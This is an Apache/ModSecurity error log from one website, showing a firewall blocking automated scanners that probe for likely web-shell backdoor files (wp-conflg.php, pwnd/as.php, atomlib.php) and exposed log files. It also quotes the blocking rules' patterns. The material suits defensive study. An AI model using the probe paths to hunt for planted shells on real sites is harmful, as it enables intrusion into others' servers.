[Tue Nov 25 17:24:53.925953 2025] [:error] [pid 14077:tid 14116] [client 172.210.212.26:4079] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/html-api/wp-conflg.php"] [unique_id "aSV15RG9n7UHEkwDTyhVmQAAAEY"]
[Tue Nov 25 17:25:03.723494 2025] [:error] [pid 28739:tid 28781] [client 172.210.212.26:6881] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/html-api/wp-conflg.php"] [unique_id "aSV17xxGpKmlkG4FexRcRgAAAhM"]
[Tue Nov 25 17:25:05.257679 2025] [:error] [pid 2987:tid 3012] [client 172.210.212.26:6796] [client 172.210.212.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/crop/zmFM.php"] [unique_id "aSV18c-djEt-pTzPxnx6bgAAAVc"]
[Tue Nov 25 17:25:08.907192 2025] [:error] [pid 28740:tid 28813] [client 172.210.212.26:11166] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/fields/index.php"] [unique_id "aSV19FppQCoYxWW6V0VWpAAAAlY"]
[Tue Nov 25 17:25:11.272369 2025] [:error] [pid 28609:tid 28629] [client 172.210.212.26:1894] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/fields/index.php"] [unique_id "aSV19yGGdT-nZJVs3x2lRQAAAYs"]
[Tue Nov 25 17:25:13.097664 2025] [:error] [pid 14168:tid 14174] [client 172.210.212.26:6860] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/fields/index.php"] [unique_id "aSV1-fR-ZDU0QEgAIItINwAAAMM"]
[Tue Nov 25 17:25:17.657462 2025] [:error] [pid 28740:tid 28813] [client 172.210.212.26:6884] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/index/fucku.php"] [unique_id "aSV1_VppQCoYxWW6V0VWtgAAAlY"]
[Tue Nov 25 17:25:18.679016 2025] [:error] [pid 28842:tid 28991] [client 172.210.212.26:11160] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/index/fucku.php"] [unique_id "aSV1_tNmoaPf6T4-6C1lcwAAA0E"]
[Tue Nov 25 17:25:22.210647 2025] [:error] [pid 2987:tid 3012] [client 172.210.212.26:2910] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/index/fucku.php"] [unique_id "aSV2As-djEt-pTzPxnx6ggAAAVc"]
[Tue Nov 25 17:25:26.694077 2025] [:error] [pid 28609:tid 28638] [client 172.210.212.26:11159] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/index/fucku.php"] [unique_id "aSV2BiGGdT-nZJVs3x2lSgAAAZQ"]
[Tue Nov 25 17:25:28.520683 2025] [:error] [pid 14077:tid 14127] [client 172.210.212.26:1913] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/upload/wp-info.php"] [unique_id "aSV2CBG9n7UHEkwDTyhV1QAAAFE"]
[Tue Nov 25 17:25:30.224402 2025] [:error] [pid 14078:tid 14142] [client 172.210.212.26:6726] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/upload/wp-info.php"] [unique_id "aSV2CtVXYbb0ii_rVoIeLAAAAIU"]
[Tue Nov 25 17:25:38.347378 2025] [:error] [pid 14168:tid 14187] [client 172.210.212.26:1867] File does not exist: /usr/local/apache/htdocs/suspended-page/post.php
[Tue Nov 25 17:25:39.729512 2025] [:error] [pid 14168:tid 14187] [client 172.210.212.26:1867] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/admin.php
[Tue Nov 25 18:53:09.531428 2025] [:error] [pid 14076:tid 14088] [client 138.199.60.187:51904] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/manager.php"] [unique_id "aSWKlXsB4Gz6Qw-pvBsKQAAAAAc"]
[Tue Nov 25 18:53:09.805168 2025] [:error] [pid 14168:tid 14193] [client 138.199.60.187:52078] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/manager.php"] [unique_id "aSWKlfR-ZDU0QEgAIItcJQAAANY"]
[Tue Nov 25 18:53:10.052507 2025] [:error] [pid 14076:tid 14090] [client 138.199.60.187:52220] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/manager.php"] [unique_id "aSWKlnsB4Gz6Qw-pvBsKRQAAAAk"]
[Tue Nov 25 18:53:10.329857 2025] [:error] [pid 14168:tid 14173] [client 138.199.60.187:52322] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/manager.php"] [unique_id "aSWKlvR-ZDU0QEgAIItcJwAAAMI"]
[Tue Nov 25 18:53:10.615414 2025] [:error] [pid 28740:tid 28812] [client 138.199.60.187:52460] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/manager.php"] [unique_id "aSWKllppQCoYxWW6V0VycwAAAlU"]
[Tue Nov 25 18:53:12.328715 2025] [:error] [pid 28609:tid 28638] [client 138.199.60.187:52616] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/"] [unique_id "aSWKmCGGdT-nZJVs3x24-AAAAZQ"]
[Tue Nov 25 18:53:12.587931 2025] [:error] [pid 28739:tid 28768] [client 138.199.60.187:53370] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/"] [unique_id "aSWKmBxGpKmlkG4FexRwYAAAAgY"]
[Tue Nov 25 18:53:12.855453 2025] [:error] [pid 14078:tid 14150] [client 138.199.60.187:53576] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/"] [unique_id "aSWKmNVXYbb0ii_rVoI37wAAAI0"]
[Tue Nov 25 18:53:13.335728 2025] [:error] [pid 2987:tid 3004] [client 138.199.60.187:53794] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/"] [unique_id "aSWKmc-djEt-pTzPxnyUIAAAAU8"]
[Tue Nov 25 18:53:13.602136 2025] [:error] [pid 14076:tid 14100] [client 138.199.60.187:53984] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/"] [unique_id "aSWKmXsB4Gz6Qw-pvBsKWgAAABM"]
[Tue Nov 25 20:30:49.092119 2025] [:error] [pid 28836:tid 29009] [client 70.36.127.31:57706] [client 70.36.127.31] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||windfarmcoolants.com.au|F|2"] [data ".log"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "windfarmcoolants.com.au"] [uri "/old/storage/logs/error.log"] [unique_id "aSWheZwNRsoxcLQGkTfSiwAAAtM"]
[Tue Nov 25 20:30:49.092261 2025] [:error] [pid 28836:tid 28963] [client 70.36.127.31:57705] [client 70.36.127.31] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||windfarmcoolants.com.au|F|2"] [data ".log"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "windfarmcoolants.com.au"] [uri "/old/system/storage/logs/error.log"] [unique_id "aSWheZwNRsoxcLQGkTfSjAAAAsg"]
[Tue Nov 25 20:30:49.092268 2025] [:error] [pid 28609:tid 28633] [client 70.36.127.31:57704] [client 70.36.127.31] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||windfarmcoolants.com.au|F|2"] [data ".log"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "windfarmcoolants.com.au"] [uri "/old/system/logs/error.log"] [unique_id "aSWheSGGdT-nZJVs3x3T2AAAAY8"]
[Tue Nov 25 20:56:54.905344 2025] [:error] [pid 14168:tid 14177] [client 4.206.153.235:63501] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php
[Tue Nov 25 20:56:55.134849 2025] [:error] [pid 14168:tid 14178] [client 4.206.153.235:63501] File does not exist: /usr/local/apache/htdocs/suspended-page/autoload_classmap.php
[Tue Nov 25 20:56:55.562725 2025] [:error] [pid 14168:tid 14176] [client 4.206.153.235:63501] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Tue Nov 25 20:56:56.195414 2025] [:error] [pid 14168:tid 14185] [client 4.206.153.235:63501] [client 4.206.153.235] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aSWnmPR-ZDU0QEgAIIt_QQAAAM4"]
[Tue Nov 25 20:56:57.120198 2025] [:error] [pid 14078:tid 14147] [client 4.206.153.235:63596] [client 4.206.153.235] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/autoload_classmap.php"] [unique_id "aSWnmdVXYbb0ii_rVoJkawAAAIo"]
[Tue Nov 25 20:56:57.533098 2025] [:error] [pid 28739:tid 28763] [client 4.206.153.235:63573] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "aSWnmRxGpKmlkG4FexSUtQAAAgE"]
[Tue Nov 25 20:56:57.957739 2025] [:error] [pid 28609:tid 28630] [client 4.206.153.235:63518] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "aSWnmSGGdT-nZJVs3x3b4AAAAYw"]
[Tue Nov 25 20:56:58.507862 2025] [:error] [pid 28609:tid 28641] [client 4.206.153.235:63566] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "aSWnmiGGdT-nZJVs3x3b5wAAAZc"]
[Tue Nov 25 20:56:58.961799 2025] [:error] [pid 14168:tid 14180] [client 4.206.153.235:59509] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "aSWnmvR-ZDU0QEgAIIt_RAAAAMk"]
[Tue Nov 25 20:56:59.464531 2025] [:error] [pid 43843:tid 43851] [client 4.206.153.235:63527] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aSWnmxhx4v3NUNdMKDPotwAAAcY"]
[Tue Nov 25 20:56:59.887617 2025] [:error] [pid 14076:tid 14098] [client 4.206.153.235:63589] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aSWnm3sB4Gz6Qw-pvBsvsAAAABE"]
[Tue Nov 25 20:57:00.326960 2025] [:error] [pid 43981:tid 43991] [client 4.206.153.235:63554] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aSWnnAgZn97m_qh_RaFY8AAAAwg"]
[Tue Nov 25 20:57:00.741696 2025] [:error] [pid 14076:tid 14102] [client 4.206.153.235:63532] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aSWnnHsB4Gz6Qw-pvBsvsgAAABU"]
[Tue Nov 25 20:57:01.167853 2025] [:error] [pid 28609:tid 28619] [client 4.206.153.235:63535] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/blue/atomlib.php"] [unique_id "aSWnnSGGdT-nZJVs3x3b6wAAAYE"]
[Tue Nov 25 20:57:01.581826 2025] [:error] [pid 28739:tid 28786] [client 4.206.153.235:63503] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/blue/atomlib.php"] [unique_id "aSWnnRxGpKmlkG4FexSUvAAAAhg"]
[Tue Nov 25 20:57:02.006270 2025] [:error] [pid 28836:tid 28966] [client 4.206.153.235:63578] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/blue/atomlib.php"] [unique_id "aSWnnpwNRsoxcLQGkTfaqQAAAss"]
[Tue Nov 25 20:57:02.422195 2025] [:error] [pid 28609:tid 28620] [client 4.206.153.235:63588] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/blue/atomlib.php"] [unique_id "aSWnniGGdT-nZJVs3x3b7gAAAYI"]
[Tue Nov 25 20:57:02.836796 2025] [:error] [pid 43843:tid 43863] [client 4.206.153.235:63587] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/index.php"] [unique_id "aSWnnhhx4v3NUNdMKDPougAAAdI"]
[Tue Nov 25 20:57:03.262508 2025] [:error] [pid 14168:tid 14178] [client 4.206.153.235:63598] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/index.php"] [unique_id "aSWnn_R-ZDU0QEgAIIt_RgAAAMc"]
[Tue Nov 25 20:57:03.701127 2025] [:error] [pid 28739:tid 28764] [client 4.206.153.235:63582] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/index.php"] [unique_id "aSWnnxxGpKmlkG4FexSUwQAAAgI"]
[Tue Nov 25 20:57:04.117534 2025] [:error] [pid 14168:tid 14190] [client 4.206.153.235:63541] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/index.php"] [unique_id "aSWnoPR-ZDU0QEgAIIt_RwAAANM"]
[Tue Nov 25 20:57:04.552382 2025] [:error] [pid 28836:tid 29014] [client 4.206.153.235:59460] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/uploads/"] [unique_id "aSWnoJwNRsoxcLQGkTfasgAAAtg"]
[Tue Nov 25 20:57:04.965031 2025] [:error] [pid 14076:tid 14091] [client 4.206.153.235:63615] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/uploads/"] [unique_id "aSWnoHsB4Gz6Qw-pvBsvuAAAAAo"]
[Tue Nov 25 20:57:05.378203 2025] [:error] [pid 14076:tid 14084] [client 4.206.153.235:63522] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/uploads/"] [unique_id "aSWnoXsB4Gz6Qw-pvBsvuQAAAAM"]
[Tue Nov 25 20:57:05.789786 2025] [:error] [pid 2987:tid 3009] [client 4.206.153.235:63505] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/uploads/"] [unique_id "aSWnoc-djEt-pTzPxny8mAAAAVQ"]
[Tue Nov 25 20:57:06.204107 2025] [:error] [pid 14078:tid 14148] [client 4.206.153.235:63536] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/flower.php"] [unique_id "aSWnotVXYbb0ii_rVoJkdAAAAIs"]
[Tue Nov 25 20:57:06.634059 2025] [:error] [pid 14078:tid 14146] [client 4.206.153.235:63498] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/flower.php"] [unique_id "aSWnotVXYbb0ii_rVoJkdwAAAIk"]
[Tue Nov 25 20:57:07.047923 2025] [:error] [pid 28609:tid 28632] [client 4.206.153.235:63584] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/flower.php"] [unique_id "aSWnoyGGdT-nZJVs3x3b-gAAAY4"]
[Tue Nov 25 20:57:07.467995 2025] [:error] [pid 28739:tid 28784] [client 4.206.153.235:63553] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/flower.php"] [unique_id "aSWnoxxGpKmlkG4FexSUxQAAAhY"]
[Tue Nov 25 20:57:07.882633 2025] [:error] [pid 14168:tid 14192] [client 4.206.153.235:63557] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-error.php"] [unique_id "aSWno_R-ZDU0QEgAIIt_SwAAANU"]
